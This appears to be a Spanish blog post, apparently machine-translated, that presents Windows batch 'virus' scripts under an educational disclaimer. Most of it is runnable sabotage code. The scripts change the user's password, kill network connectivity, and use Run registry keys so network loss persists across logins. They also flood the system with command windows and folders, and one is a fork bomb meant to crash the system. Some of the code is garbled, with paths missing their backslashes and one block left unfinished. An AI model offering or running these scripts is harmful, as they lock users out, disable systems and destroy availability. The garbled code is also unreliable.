Ir al contenido
Alemasone

Cómo crear .BAT Script: Guía Educativa para Bloques

Aprende cómo funcionan los archivos .BAT y los comandos CMD con esta guía educativa. Aprende a probar scripts con el bloque de notas de una manera totalmente segura.

3 min de lectura Actualizado el
Cómo crear .BAT Script: Guía Educativa para Bloques

Bienvenido a esta guía técnica donde analizaremos cómo se puede utilizar el bloque de notas simple de Windows (Notepad) para escribir scripts que alteran el funcionamiento del sistema. A continuación, le mostraré el código para crear estos “virus” (que son técnicamente los archivos Batch), para fines de prueba pura y ciberseguridad educación. Antes de empezar, te pido que leas cuidadosamente algunas recomendaciones importantes.

No asumo ninguna responsabilidad por usar los códigos en este artículo. El único propósito de esta guía es informativo y educativo. Todas las consecuencias causadas por la ejecución indebida de estos scripts en su sistema serán su única responsabilidad.

Todos los scripts mostrados deben ser guardados con la extensión .bat. Al utilizar el Notepad, asegúrate de seleccionar “Todos los archivos” en el menú de guardar y nombrar el documento, por ejemplo, como “virus.bat”. Para obtener más información sobre el funcionamiento de estos ejecutables, consulte el documentación oficial de comandos Windows.

Cambiar el nombre de usuario local #

@echo off
net user %username% InShadow

Hora del sistema de fuerza a las 00:00 #

@echo off
time 00:00

Desactivar la conexión a Internet #

ipconfig /release
if ERRORLEVEL1 ipconfig /release_all

Crear un bucle interminable del Prompt del Comando #

El comando start es interpretado por el sistema operativo para iniciar una nueva instancia del Command Prompt. Programando un ciclo (op) que ejecuta repetidamente la instrucción Inicio, puede saturar la memoria RAM y bloquear su PC debido a ventanas que abren ininterrumpidamente.

: infinitedos
 @start
 @echo addio…
 @start
 @Goto infinitedos

Desactivación permanente de Internet (Registro de cambio) #

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /dc:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /dc:windowswimn32.bat /f
echo Sei stato hackerato!
PAUSE

Cómo generar 1.000 carpetas en segundos #

@echo off
:top
md %random%
GOTO top

Provoque un sistema Crash en 3 segundos (Fork Bomb) #

for /l %%i in (1,1,10000) do (
 md %%i
 cd %%i
 copy "..\bat.bat"
 for /l %%i in (1,1,5) do (
  start bat.bat
 )
 cd..
 for /l %%i in (1,1,5) do (
  echo %random% %random% %random% %random% %random% %random% %random% %random% %random%

Preguntas frecuentes (FAQ) sobre los archivos Batch y CMD #

¿Qué es un archivo .BAT y para qué es exactamente? #

Un archivo .BAT (Batch abbreviation) es un documento de texto que contiene una secuencia de instrucciones. Cuando se inicia, el intérprete de línea de comandos de Windows (CMD) lee y Ejecute estos comandos en secuencia automatiza operaciones aburridas o, como se muestra en esta guía, simulando comportamiento agresivo con fines de prueba.

¿Estás seguro de probar estos scripts en mi computadora principal? #

Absolutamente no. Para preservar el ciberseguridad de sus datos, se recomienda encarecidamente ejecutar y probar scripts que alteren las claves de registro o conexiones de red exclusivamente dentro de una máquina virtual (Máquina virtual) protegida y aislada del sistema operativo principal.

¿Puedo usar estos códigos para aprender los fundamentos de la programación? #

Por supuesto. Acercar el uso del bloque Nota para escribir archivos simples .BAT es uno de los mejores ejercicios propedéuticos para entender la lógica de ciclos (op), variables ambientales e interacción directa con las bases administrativas del sistema operativo Windows.

Sigue leyendo